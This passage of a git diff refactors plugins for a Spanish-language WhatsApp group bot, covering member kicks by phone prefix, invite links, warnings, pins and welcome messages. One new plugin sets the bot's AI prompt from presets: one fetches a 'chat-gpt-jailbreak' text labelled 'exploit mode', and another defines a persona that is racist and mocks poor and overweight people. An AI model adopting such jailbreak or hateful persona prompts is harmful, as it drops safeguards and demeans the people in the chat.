-conn.reply(m.chat, `⚠️ 𝙇𝙄𝙎𝙏𝘼 𝘿𝙀 𝙉𝙐𝙈𝙀𝙍𝙊𝙎 𝘾𝙊𝙉 𝙀𝙇 𝙋𝙍𝙀𝙁𝙄𝙅𝙊 +${lol} 𝙌𝙐𝙀 𝙀𝙎𝙏𝘼𝙉 𝙀𝙉 𝙀𝙇 𝙂𝙍𝙐𝙋𝙊 ⚠️\n\n` + numeros.join`\n`, m, { mentions: ps })
-break
-case "kicknum":
-if (!bot.restrict) return m.reply(`${lenguajeGB['smsAvisoAG']()} ${lenguajeGB['smsSoloOwner']()}`)
-if (!isBotAdmin) return m.reply(`${lenguajeGB['smsAvisoAG']()} ${lenguajeGB['smsAllAdmin']()}`)
-conn.reply(m.chat, `${lenguajeGB['smsAvisoIIG']()}𝙄𝙉𝙄𝘾𝙄𝘼𝙉𝘿𝙊 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝘾𝙄𝙊́𝙉 𝘿𝙀 𝙉𝙐́𝙈𝙀𝙍𝙊 𝘾𝙊𝙉 𝙀𝙇 𝙋𝙍𝙀𝙁𝙄𝙅𝙊 +${lol}, 𝘾𝘼𝘿𝘼 10 𝙎𝙀𝙂𝙐𝙉𝘿𝙊𝙎 𝙎𝙀 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝘼 𝘼 𝙐𝙉 𝙐𝙎𝙐𝘼𝙍𝙄𝙊`, m)
-let ownerGroup = m.chat.split`-`[0] + '@s.whatsapp.net'
-let users = participants.map(u => u.id).filter(v => v !== conn.user.jid && v.startsWith(lol || lol))
-for (let user of users) {
-let error = `@${user.split("@")[0]} 𝙔𝘼 𝙃𝘼 𝙎𝙄𝘿𝙊 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝘿𝙊 𝙊 𝙃𝘼 𝘼𝘽𝘼𝙉𝘿𝙊𝙉𝘼𝘿𝙊 𝙀𝙇 𝙂𝙍𝙐𝙋𝙊 :v`
-if (user !== ownerGroup + '@s.whatsapp.net' && user !== global.conn.user.jid && user !== global.owner + '@s.whatsapp.net' && user.startsWith(lol || lol) && user !== isSuperAdmin && isBotAdmin && bot.restrict) {
-await delay(2000)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [user], 'remove')
-if (responseb[0].status === "404") m.reply(error, m.chat, { mentions: conn.parseMention(error)})
-await delay(10000)
-} else return m.reply(`${lenguajeGB['smsAvisoFG']()}`)}
-break
+case 'listanum': case 'listnum':
+return conn.reply(m.chat, `*📋 Números encontrados con prefijo +${prefijo}:*\n\n${numeros.join('\n')}`, m, { mentions: encontrados });
+
+case 'kicknum':
+if (!isBotAdmin) return m.reply('*⚠️ El bot no es administrador, no puedo eliminar usuarios.*');
+await conn.reply(m.chat, `*⚠️ Iniciando eliminación de números con prefijo +${prefijo}...*\n> _Se eliminará uno cada 10 segundos_`, m);
+const ownerGroup = m.chat.split`-`[0] + '@s.whatsapp.net';
+for (const user of encontrados) {
+const error = `@${user.split('@')[0]} ya fue eliminado o abandonó el grupo.`;
+const protegido = [ownerGroup, conn.user.jid, global.owner + '@s.whatsapp.net'];
+
+if (!protegido.includes(user)) {
+try {
+const r = await conn.groupParticipantsUpdate(m.chat, [user], 'remove');
+if (r[0]?.status === '404') await m.reply(error, m.chat, { mentions: [user] });
+} catch (e) {
+await m.reply(`⚠️ No se pudo eliminar a @${user.split('@')[0]}`, m.chat, { mentions: [user] });
+}
+await delay(10000);
}}
-handler.command = /^(listanum|kicknum)$/i
-handler.group = handler.botAdmin = handler.admin = true
-handler.fail = null
-export default handler
+return m.reply('*✅ Proceso de eliminación terminado.*');
+}};
+handler.help = ['kicknum', 'listnum'];
+handler.tags = ['group'];
+handler.command = /^(kicknum|listanum|listnum)$/i;
+handler.group = handler.botAdmin = handler.admin = true;
+export default handler;
+
+const delay = ms => new Promise(res => setTimeout(res, ms));
\ No newline at end of file
diff --git a/plugins/grupo-link.js b/plugins/grupo-link.js
index 0b3e47fc7..c593f42ed 100644
--- a/plugins/grupo-link.js
+++ b/plugins/grupo-link.js
@@ -1,10 +1,12 @@
-let handler = async (m, { conn, args }) => {
-let group = m.chat
-let link = 'https://chat.whatsapp.com/' + await conn.groupInviteCode(group)
-conn.reply(m.chat, link, m, {detectLink: true})
-//conn.sendMessage(m.chat, { text: link }, { quoted: m, detectLink: true })
-}
-handler.command = /^link(gro?up)?$/i
-handler.group = true
-handler.botAdmin = true
-export default handler
+import fs from 'fs';
+const handler = async (m, {conn, args}) => {
+const group = m.chat;
+m.reply('https://chat.whatsapp.com/' + await conn.groupInviteCode(group))
+};
+handler.help = ['linkgroup'];
+handler.tags = ['group'];
+handler.command = /^link(gro?up)?$/i;
+handler.group = true;
+handler.botAdmin = true;
+handler.register = true
+export default handler;
diff --git a/plugins/grupo-listwarn.js b/plugins/grupo-listwarn.js
index fedebd829..e66634208 100644
--- a/plugins/grupo-listwarn.js
+++ b/plugins/grupo-listwarn.js
@@ -1,16 +1,31 @@
-let handler = async (m, { conn, isOwner }) => {
-let adv = Object.entries(global.db.data.users).filter(user => user[1].warn)
-let warns = global.db.data.users.warn
-let user = global.db.data.users
-let imagewarn = './src/warn.jpg'
-let caption = `⚠️ 𝚄𝚂𝚄𝙰𝚁𝙸𝙾𝚂 𝙰𝙳𝚅𝙴𝚁𝚃𝙸𝙳𝙾𝚂\n
-*╔═══════════════════·•*
-║ *Total : ${adv.length} Usuarios* ${adv ? '\n' + adv.map(([jid, user], i) => `
-║
-║ 1.- ${isOwner ? '@' + jid.split`@`[0] : jid} *(${user.warn}/3)*\n║\n║ - - - - - - - - -`.trim()).join('\n') : ''}
-*╚═══════════════════·•*`
-await conn.sendButton(m.chat, caption, wm, imagewarn, [['𝐌 𝐄 𝐍 𝐔 🌠', '#menu']], m, {mentions: await conn.parseMention(caption)})}
-handler.command = /^(listwarn)$/i
-handler.group = true
-handler.admin = true
-export default handler
+import { db } from '../lib/postgres.js';
+
+const maxwarn = 3
+let handler = async (m, { conn, participants, metadata }) => {
+try {
+const result = await db.query(`SELECT id, warn
+ FROM usuarios
+ WHERE warn > 0`);
+const warnedUsers = result.rows.filter(user => participants.some(p => p.id === user.id)).map(user => ({ id: user.id, warn: user.warn }));
+warnedUsers.sort((a, b) => b.warn - a.warn);
+let teks = `*📋 LISTA DE ADVERTENCIAS 📋*\n\n`;
+teks += `Grupo: ${metadata.subject || 'Sin nombre'}\n`;
+teks += `Total de usuarios con advertencias: ${warnedUsers.length}\n\n`;
+
+if (warnedUsers.length === 0) {
+teks += `*¡No hay usuarios con advertencias en este grupo! 😊*`;
+} else {
+teks += `*Usuarios advertidos:*\n`;
+for (let user of warnedUsers) {
+teks += `➥ @${user.id.split('@')[0]} - Advertencias: ${user.warn}/${maxwarn}\n`;
+}}
+await conn.reply(m.chat, teks, m)
+} catch (err) {
+console.error(err);
+}};
+handler.help = ['listwarn'];
+handler.tags = ['group'];
+handler.command = /^listwarn$/i;
+handler.register = true;
+
+export default handler;
\ No newline at end of file
diff --git a/plugins/grupo-pin.js b/plugins/grupo-pin.js
new file mode 100644
index 000000000..d7eb15332
--- /dev/null
+++ b/plugins/grupo-pin.js
@@ -0,0 +1,41 @@
+let handler = async (m, { conn, command }) => {
+if (!m.quoted) return m.reply(`⚠️ Responde a un mensaje para ${command === 'pin' ? 'fijarlo' : 'desfijarlo'}.`);
+try {
+let messageKey = {remoteJid: m.chat,
+fromMe: m.quoted.fromMe,
+id: m.quoted.id,
+participant: m.quoted.sender
+};
+
+if (command === 'pin') {
+await conn.sendMessage(m.chat, { pin: messageKey,type: 1, time: 604800 })
+//conn.sendMessage(m.chat, {pin: {type: 1, time: 604800, key: messageKey }});
+m.react("✅️")
+}
+
+if (command === 'unpin') {
+await conn.sendMessage(m.chat, { pin: messageKey,type: 2, time: 86400 })
+//conn.sendMessage(m.chat, { pin: { type: 0, key: messageKey }});
+m.react("✅️")
+}
+
+if (command === 'destacar') {
+conn.sendMessage(m.chat, {keep: messageKey, type: 1, time: 15552000 })
+m.react("✅️")
+}
+
+if (command === 'desmarcar') {
+conn.sendMessage(m.chat, {keep: messageKey, type: 2, time: 86400 })
+m.react("✅️")
+}
+} catch (error) {
+console.error(error);
+}};
+handler.help = ['pin']
+handler.tags = ['group']
+handler.command = ['pin', 'unpin', 'destacar', 'desmarcar']
+handler.admin = true
+handler.group = true
+handler.botAdmin = true
+handler.register = true
+export default handler
diff --git a/plugins/grupo-promote.js b/plugins/grupo-promote.js
index c80a0b0c6..48f7d620d 100644
--- a/plugins/grupo-promote.js
+++ b/plugins/grupo-promote.js
@@ -1,32 +1,31 @@
-let handler = async (m, { conn,usedPrefix, command, text }) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-if(isNaN(text) && !text.match(/@/g)){
-
-}else if(isNaN(text)) {
-var number = text.split`@`[1]
-}else if(!isNaN(text)) {
-var number = text
+const handler = async (m, {conn, usedPrefix, text}) => {
+if (isNaN(text) && !text.match(/@/g)) {
+} else if (isNaN(text)) {
+var number = text.split`@`[1];
+} else if (!isNaN(text)) {
+var number = text;
}
-if(!text && !m.quoted) return conn.reply(m.chat, lenguajeGB.smsMalused3(), + `*${usedPrefix + command} @${global.owner[0][0]}*`, fkontak, m)
-//conn.sendButton(m.chat, wm, lenguajeGB['smsMalused3']() + `*${usedPrefix + command} @${global.owner[0][0]}*`, null, [[lenguajeGB.smsConMenu(), `${usedPrefix}menu`]], fkontak, m)
-if(number.length > 13 || (number.length < 11 && number.length > 0)) return conn.reply(m.chat, lenguajeGB.smsDemott(), `*${usedPrefix + command} @${global.owner[0][0]}*`, fkontak, m)
-//conn.sendButton(m.chat, wm, lenguajeGB['smsDemott']() + `*${usedPrefix + command} @${global.owner[0][0]}*`, null, [[lenguajeGB.smsConMenu(), `${usedPrefix}menu`]], fkontak, m)
-
+if (!text && !m.quoted) return conn.reply(m.chat, `*⚠️ ¿A quien le doy admins?* Etiqueta a una persona no soy adivino :)`, m);
+if (number.length > 13 || (number.length < 11 && number.length > 0)) return conn.reply(m.chat, `*⚠️ Estas drogado ese número ingresado es incorrecto 🤓*, ingresar un número correcto o mejor etiquetas al usuario @tag`, m);
try {
-if(text) {
-var user = number + '@s.whatsapp.net'
-} else if(m.quoted.sender) {
-var user = m.quoted.sender
-} else if(m.mentionedJid) {
-var user = number + '@s.whatsapp.net'
-} } catch (e) {
+if (text) {
+var user = number + '@s.whatsapp.net';
+} else if (m.quoted.sender) {
+var user = m.quoted.sender;
+} else if (m.mentionedJid) {
+var user = number + '@s.whatsapp.net';
+}} catch (e) {
} finally {
-conn.groupParticipantsUpdate(m.chat, [user], 'promote')
-conn.reply(m.chat, lenguajeGB['smsAvisoEG']() + lenguajeGB['smsDemott2'](), fkontak, m)
-}}
-handler.command = /^(promote|daradmin|darpoder)$/i
-handler.group = true
-handler.admin = true
-handler.botAdmin = true
-export default handler
+conn.groupParticipantsUpdate(m.chat, [user], 'promote');
+conn.reply(m.chat, `*[ ✅ ] ÓRDENES RECIBIDAS*`, m);
+}};
+handler.help = ['*593xxx*', '*@usuario*', '*responder chat*'].map((v) => 'promote ' + v);
+handler.tags = ['group'];
+handler.command = /^(promote|daradmin|darpoder)$/i;
+handler.group = true;
+handler.admin = true;
+handler.botAdmin = true;
+handler.fail = null;
+handler.register = true
+export default handler;
diff --git a/plugins/grupo-resetLink.js b/plugins/grupo-resetLink.js
new file mode 100644
index 000000000..8390b54b4
--- /dev/null
+++ b/plugins/grupo-resetLink.js
@@ -0,0 +1,12 @@
+const handler = async (m, {conn}) => {
+const revoke = await conn.groupRevokeInvite(m.chat);
+await conn.reply(m.chat, `*_Se restableció con éxito el link del grupo._*\n*• Link Nuevo:* ${'https://chat.whatsapp.com/' + revoke}`, m);
+};
+handler.help = ['resetlink']
+handler.tags = ['group']
+handler.command = ['resetlink', 'revoke'];
+handler.botAdmin = true;
+handler.admin = true;
+handler.group = true;
+handler.register = true
+export default handler;
diff --git a/plugins/grupo-restaurarEnlace.js b/plugins/grupo-restaurarEnlace.js
deleted file mode 100644
index 47dc2a4ee..000000000
--- a/plugins/grupo-restaurarEnlace.js
+++ /dev/null
@@ -1,13 +0,0 @@
-let handler = async (m, { conn }) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-const pp = await conn.profilePictureUrl(m.chat, 'image').catch(_ => null) || './src/grupos.jpg'
-
-let res = await conn.groupRevokeInvite(m.chat)
-conn.reply(m.chat, lenguajeGB.smsRestGp(), + '\n\n*https://chat.whatsapp.com/' + res + '*', fkontak, m)}
-//conn.sendButton(m.chat, wm, lenguajeGB.smsRestGp() + '\n\n*https://chat.whatsapp.com/' + res + '*', pp, [[lenguajeGB.smsConMenu(), `/menu`]], fkontak, m)}
-handler.command = ['nuevolink', 'nuevoenlace', 'revoke', 'resetlink']
-handler.group = true
-handler.admin = true
-handler.botAdmin = true
-
-export default handler
diff --git a/plugins/grupo-setConfig.js b/plugins/grupo-setConfig.js
new file mode 100644
index 000000000..c01552fc5
--- /dev/null
+++ b/plugins/grupo-setConfig.js
@@ -0,0 +1,61 @@
+import { db } from '../lib/postgres.js'
+
+const handler = async (m, { args, command, conn, text }) => {
+if (!text) {
+const tipo = command === 'setwelcome' ? 'bienvenida' : command === 'setbye' ? 'despedida' : command === 'setpromote' ? 'ascenso' : 'degradación'
+
+const variables = ['@user → Menciona al usuario',
+...(command !== 'setpromote' && command !== 'setdemote' ? ['@group → Nombre del grupo'] : []),
+...(command === 'setwelcome' ? ['@desc → Descripción del grupo'] : []),
+...(command === 'setpromote' || command === 'setdemote' ? ['@author → Quien ejecuta la acción'] : [])
+].join('\n• ')
+
+const opciones = (command === 'setwelcome' || command === 'setbye') ? `*Opciones adicionales:*
+• --foto → Para enviar el mensaje con imagen
+• --nofoto → Para enviar solo texto` : ''
+
+const ejemplo = command === 'setwelcome' ? `Hola @user, bienvenido a @group. Lee las reglas: @desc`
+: command === 'setbye' ? `Chao @user, gracias por estar en @group.`
+: command === 'setpromote' ? `@user ha sido promovido por @author.`
+: `@user ha sido degradado por @author.`
+
+return m.reply(`*⚙️ Personaliza el mensaje de ${tipo} del grupo:*
+
+*Puedes usar las siguientes variables:*
+• ${variables}\n${opciones}
+*Ejemplo de uso:*
+➤ /${command} ${ejemplo} --foto`)
+}
+
+const hasFoto = text.includes('--foto')
+const hasNoFoto = text.includes('--nofoto')
+const cleanText = text.replace('--foto', '').replace('--nofoto', '').trim()
+await db.query(`INSERT INTO group_settings (group_id) VALUES ($1) ON CONFLICT DO NOTHING`, [m.chat])
+
+if (command === 'setwelcome') {
+await db.query(`UPDATE group_settings SET swelcome = $1${hasFoto ? ', photowelcome = true' : ''}${hasNoFoto ? ', photowelcome = false' : ''} WHERE group_id = $2`, [cleanText, m.chat])
+return m.reply(`✅ Mensaje de bienvenida guardado${hasFoto ? ' con imagen' : hasNoFoto ? ' sin imagen' : ''}.`)
+}
+
+if (command === 'setbye') {
+await db.query(`UPDATE group_settings SET sbye = $1${hasFoto ? ', photobye = true' : ''}${hasNoFoto ? ', photobye = false' : ''} WHERE group_id = $2`, [cleanText, m.chat])
+return m.reply(`✅ Mensaje de despedida guardado${hasFoto ? ' con imagen' : hasNoFoto ? ' sin imagen' : ''}.`)
+}
+
+if (command === 'setpromote') {
+await db.query(`UPDATE group_settings SET spromote = $1 WHERE group_id = $2`, [cleanText, m.chat])
+return m.reply("✅ Mensaje de ascenso guardado.")
+}
+
+if (command === 'setdemote') {
+await db.query(`UPDATE group_settings SET sdemote = $1 WHERE group_id = $2`, [cleanText, m.chat])
+return m.reply("✅ Mensaje de degradación guardado.")
+}}
+handler.help = ['setwelcome ', 'setbye ']
+handler.tags = ['group']
+handler.command = ['setwelcome', 'setbye', 'setpromote', 'setdemote']
+handler.group = true
+handler.admin = true
+handler.register = true
+
+export default handler
diff --git a/plugins/grupo-setbye.js b/plugins/grupo-setbye.js
deleted file mode 100644
index c9c612863..000000000
--- a/plugins/grupo-setbye.js
+++ /dev/null
@@ -1,13 +0,0 @@
-let handler = async (m, { conn, text, isROwner, isOwner }) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-if (text) {
-global.db.data.chats[m.chat].sBye = text
-conn.reply(m.chat, lenguajeGB.smsSetB(), fkontak, m)
-//conn.sendButton(m.chat, wm, lenguajeGB['smsSetB'](), null, [[lenguajeGB.smsConMenu(), `/menu`]], fkontak, m)
-} else throw `${lenguajeGB['smsSetB2']()}`
-}
-handler.command = ['setbye', 'despedida']
-handler.botAdmin = true
-handler.admin = true
-handler.group = true
-export default handler
diff --git a/plugins/grupo-setdesc.js b/plugins/grupo-setdesc.js
index d4a1e4750..62c2838aa 100644
--- a/plugins/grupo-setdesc.js
+++ b/plugins/grupo-setdesc.js
@@ -1,10 +1,10 @@
let handler = async (m, { conn, args }) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-const pp = await conn.profilePictureUrl(m.chat, 'image').catch(_ => null) || './src/grupos.jpg'
+const pp = await conn.profilePictureUrl(m.chat, 'image').catch(_ => 'https://telegra.ph/file/2a1d71ab744b55b28f1ae.jpg')
await conn.groupUpdateDescription(m.chat, `${args.join(" ")}`);
-conn.reply(m.chat, lenguajeGB.smsDest(), fkontak, m)
-//conn.sendButton(m.chat, wm, lenguajeGB.smsDest(), pp, [[lenguajeGB.smsConMenu(), `/menu`]], fkontak, m)
+m.react("✅️")
}
+handler.help = ['setdesc'];
+handler.tags = ['group'];
handler.command = /^setdesk|setdesc|newdesc|descripción|descripcion$/i
handler.group = true
handler.admin = true
diff --git a/plugins/grupo-sethorario.js b/plugins/grupo-sethorario.js
new file mode 100644
index 000000000..f7d325439
--- /dev/null
+++ b/plugins/grupo-sethorario.js
@@ -0,0 +1,14 @@
+import { db } from '../lib/postgres.js'
+
+let handler = async (m, { args }) => {
+const rango = (args[0] || '').trim()
+if (!/^\d{1,2}:\d{2}-\d{1,2}:\d{2}$/.test(rango)) throw 'Formato correcto: /sethorario 23:00-06:00'
+await db.query(`INSERT INTO group_settings (group_id) VALUES ($1) ON CONFLICT DO NOTHING`, [m.chat])
+await db.query(`UPDATE group_settings SET nsfw_horario = $1 WHERE group_id = $2`, [rango, m.chat])
+m.reply(`⏰ Horario NSFW establecido a *${rango}*`)
+}
+handler.help = ['sethorario 23:00-06:00']
+handler.tags = ['admin']
+handler.command = /^sethorario$/i
+handler.admin = true
+export default handler
diff --git a/plugins/grupo-setname.js b/plugins/grupo-setname.js
index 1dec0f46e..bf01928f6 100644
--- a/plugins/grupo-setname.js
+++ b/plugins/grupo-setname.js
@@ -1,20 +1,20 @@
//import Presence from '@adiwajshing/baileys'
-let Presence = (await import(global.baileys)).default
+//let Presence = (await import(global.baileys)).default
let handler = async (m, { conn, args, text }) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-const pp = await conn.profilePictureUrl(m.chat, 'image').catch(_ => null) || './src/grupos.jpg'
-if (!text) return conn.reply(m.chat, lenguajeGB['smsNam2'](), fkontak, m)
+const pp = await conn.profilePictureUrl(m.chat, 'image').catch(_ => null) || './media/Menu1.jpg'
+if (!text) throw "⚠️ Ingresar el texto para el grupo"
try {
let text = args.join` `
if(!args || !args[0]) {
} else {
-conn.groupUpdateSubject(m.chat, text)}
-conn.reply(m.chat, lenguajeGB.smsNam1(), fkontak, m)
-//conn.sendButton(m.chat, wm, lenguajeGB.smsNam1(), pp, [[lenguajeGB.smsConMenu(), `/menu`]], fkontak, m)}
+conn.groupUpdateSubject(m.chat, text)
+}
+m.react("✅️")
} catch (e) {
-//return conn.reply(m.chat, lenguajeGB['smsNam3'](), fkontak, m)
-throw lenguajeGB['smsNam3']()
+throw "error"
}}
+handler.help = ['setname'];
+handler.tags = ['group'];
handler.command = /^(setname|newnombre|nuevonombre)$/i
handler.group = true
handler.admin = true
diff --git a/plugins/grupo-setpp.js b/plugins/grupo-setpp.js
index d8ac53728..d9450ab6f 100644
--- a/plugins/grupo-setpp.js
+++ b/plugins/grupo-setpp.js
@@ -1,13 +1,43 @@
-let handler = async (m, { conn, usedPrefix, command }) => {
-let q = m.quoted ? m.quoted : m
-let mime = (q.msg || q).mimetype || q.mediaType || ''
-if (/image/.test(mime)) {
-let img = await q.download()
-if (!img) throw `${lenguajeGB['smsAvisoMG']()}️𝙍𝙀𝙎𝙋𝙊𝙉𝘿𝙀 𝘼 𝙐𝙉𝘼 𝙄𝙈𝘼𝙂𝙀𝙉`
-await conn.updateProfilePicture(m.chat, img).then(_ => m.reply(`${lenguajeGB['smsAvisoEG']()}𝙎𝙀 𝘾𝘼𝙈𝘽𝙄𝙊 𝙇𝘼 𝙁𝙊𝙏𝙊 𝘿𝙀𝙇 𝙂𝙍𝙐𝙋𝙊 𝘾𝙊𝙉 𝙀́𝙓𝙄𝙏𝙊`))
-} else throw `${lenguajeGB['smsAvisoMG']()}️𝙍𝙀𝙎𝙋𝙊𝙉𝘿𝙀 𝘼 𝙐𝙉𝘼 𝙄𝙈𝘼𝙂𝙀𝙉`}
-handler.command = /^setpp(group|grup|gc)?$/i
-handler.group = true
-handler.admin = true
-handler.botAdmin = true
-export default handler
+import * as Jimp from "jimp";
+import { S_WHATSAPP_NET } from "@whiskeysockets/baileys";
+
+let handler = async (m, { conn }) => {
+ try {
+ let groupId = m.chat;
+ let quotedMsg = m.quoted ? m.quoted : m;
+ if (!m.quoted) return m.reply(`*⚠️ Responde a una Imagen.*`);
+ let media = await quotedMsg.download();
+
+ async function processImage(media) {
+ const image = await Jimp.read(media);
+ const resizedImage = image.getWidth() > image.getHeight()
+ ? image.resize(720, Jimp.AUTO)
+ : image.resize(Jimp.AUTO, 720);
+ return {
+ img: await resizedImage.getBufferAsync(Jimp.MIME_JPEG),
+ };
+ }
+
+ var { img: processedImage } = await processImage(media);
+
+ conn.query({
+ tag: "iq",
+ attrs: { target: groupId, to: S_WHATSAPP_NET, type: "set", xmlns: "w:profile:picture" },
+ content: [{ tag: "picture", attrs: { type: "image" }, content: processedImage }],
+ });
+
+ m.react("✅️");
+ } catch (error) {
+ console.log(error);
+ return m.react("❌");
+ }
+};
+
+handler.help = ["setppgc"];
+handler.tags = ["group"];
+handler.command = /^setpp(group|grup|gc)?$/i;
+handler.group = true;
+handler.admin = true;
+handler.botAdmin = true;
+
+export default handler;
diff --git a/plugins/grupo-setprompt.js b/plugins/grupo-setprompt.js
new file mode 100644
index 000000000..c01adc3df
--- /dev/null
+++ b/plugins/grupo-setprompt.js
@@ -0,0 +1,85 @@
+import { db } from '../lib/postgres.js';
+import fetch from 'node-fetch';
+
+const presets = {
+ 1: () => fetch('https://raw.githubusercontent.com/Skidy89/chat-gpt-jailbreak/main/Text.txt').then(r => r.text()),
+ 2: () => fetch('https://raw.githubusercontent.com/elrebelde21/ChinaMitzuki/master/src/text-chatgpt.txt').then(r => r.text()),
+ 3: () => 'actual como un nene millonario cheto, se llama NeneFlok, hablar en tono cheto y no te importa nada, es anti negro, anti bola de grasa, anti pobres, y hablar mal hablaron y hacer los que quiere le gusta hacer broma y tira indirecta, Hablar con muchas falta de ortografía pero se cree importante.',
+ 4: () => fetch('https://raw.githubusercontent.com/elrebelde21/LoliBot-MD/main/src/text-chatgpt.txt').then(r => r.text())
+};
+
+const prompt_name = {
+ 1: '💣 exploit mode',
+ 2: '🇨🇳 china',
+ 3: '💸 NeneFlok',
+ 4: '🧠 IA multipersonalidad'
+};
+
+const handler = async (m, { text, usedPrefix, command, isOwner }) => {
+const input = text?.trim().toLowerCase();
+
+if (command === 'clearmemory' || command === 'clearai' || command === 'resetai') {
+await db.query('DELETE FROM chat_memory WHERE chat_id = $1', [m.chat]);
+return m.reply('🧠 Memoria del chat borrada correctamente. El bot empezará desde cero.');
+}
+
+if (command === 'timeIA' || command === 'memttl') {
+if (!isOwner) return m.reply('⛔ Solo el *OWNER* puede poner más de 24 horas.');
+if (!text) return m.reply(`⏱️ *Uso:* ${usedPrefix + command} 10m | 2h | 1d | 0
+Unidades válidas: s (seg), m (min), h (horas), d (días)
+Ejemplos:
+${usedPrefix + command} 30m → memoria se borra tras 30 minutos
+${usedPrefix + command} 2h → 2 horas
+${usedPrefix + command} 0 → se borra en cada mensaje
+`);
+
+if (text === '0') {
+await db.query('UPDATE group_settings SET memory_ttl = 0 WHERE group_id = $1', [m.chat]);
+return m.reply('🧠 Memoria desactivada. El bot responderá sin historial.');
+}
+
+const match = text.match(/^(\d+)([smhd])$/i);
+if (!match) return m.reply('❌ Formato inválido. Usa: 10m, 2h, 1d');
+const num = parseInt(match[1]);
+const unit = match[2].toLowerCase();
+const unitToSeconds = { s: 1, m: 60, h: 3600, d: 86400 };
+const seconds = num * unitToSeconds[unit];
+await db.query('UPDATE group_settings SET memory_ttl = $1 WHERE group_id = $2', [seconds, m.chat]);
+return m.reply(`✅ Tiempo de memoria actualizado a *${num}${unit}* (${seconds} segundos).`);
+}
+
+if (!text) return m.reply(`📌 *Uso del comando ${command} de esta forma:*
+${usedPrefix + command} 1 - ${prompt_name[1]}
+${usedPrefix + command} 2 - ${prompt_name[2]}
+${usedPrefix + command} 3 - ${prompt_name[3]}
+${usedPrefix + command} 4 - ${prompt_name[4]}
+${usedPrefix + command} tu texto - ✍️ prompt personalizado
+${usedPrefix + command} delete|borrar - 🧹 borrar prompt y memoria`);
+let prompt = null;
+const isPreset = ['1', '2', '3', '4'].includes(input);
+const isDelete = ['delete', 'borrar'].includes(input);
+const resetMemory = true;
+
+if (isDelete) {
+prompt = null;
+} else if (isPreset) {
+prompt = await presets[input]();
+} else {
+prompt = text;
+}
+
+await db.query(`INSERT INTO group_settings (group_id, sAutorespond)
+ VALUES ($1, $2)
+ ON CONFLICT (group_id) DO UPDATE SET sAutorespond = $2`, [m.chat, prompt]);
+if (resetMemory) {
+await db.query('DELETE FROM chat_memory WHERE chat_id = $1', [m.chat]);
+}
+return m.reply(prompt ? `✅ *Configuración exitosa.*\n\n*Has establecido un nuevo prompt para este chat.*\n💬 A partir de ahora, el bot usará las indicaciones que hayas establecido.\n\n> *Recuerda etiquetar "@tag" o responder a un mensaje del bot para que te responda.*\n\n` + (prompt_name[input] || prompt) : '🗑️ *Prompt borrado con éxito.*');
+};
+handler.help = ['setprompt', 'resetai', 'timeIA'];
+handler.tags = ['group'];
+handler.command = /^setprompt|autorespond|clearmemory|clearai|resetai|memttl|timeIA$/i;
+handler.group = true;
+handler.admin = true;
+
+export default handler;
diff --git a/plugins/grupo-setwelcome.js b/plugins/grupo-setwelcome.js
deleted file mode 100644
index 0f1c3bc57..000000000
--- a/plugins/grupo-setwelcome.js
+++ /dev/null
@@ -1,13 +0,0 @@
-let handler = async (m, { conn, text, isROwner, isOwner }) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-if (text) {
-global.db.data.chats[m.chat].sWelcome = text
-conn.reply(m.chat, lenguajeGB.smsSetW(), fkontak, m)
-//conn.sendButton(m.chat, wm, lenguajeGB['smsSetW'](), null, [[lenguajeGB.smsConMenu(), `/menu`]], fkontak, m)
-} else throw `${lenguajeGB['smsSetW2']()}`
-}
-handler.command = ['setwelcome', 'bienvenida']
-handler.botAdmin = true
-handler.admin = true
-handler.group = true
-export default handler
diff --git a/plugins/grupo-simulate.js b/plugins/grupo-simulate.js
deleted file mode 100644
index 77c7fa6ac..000000000
--- a/plugins/grupo-simulate.js
+++ /dev/null
@@ -1,49 +0,0 @@
-let handler = async (m, { conn, usedPrefix, command, args: [event], text }) => {
-if (!event) return await conn.sendButton(m.chat, `*EJEMPLO:*
-
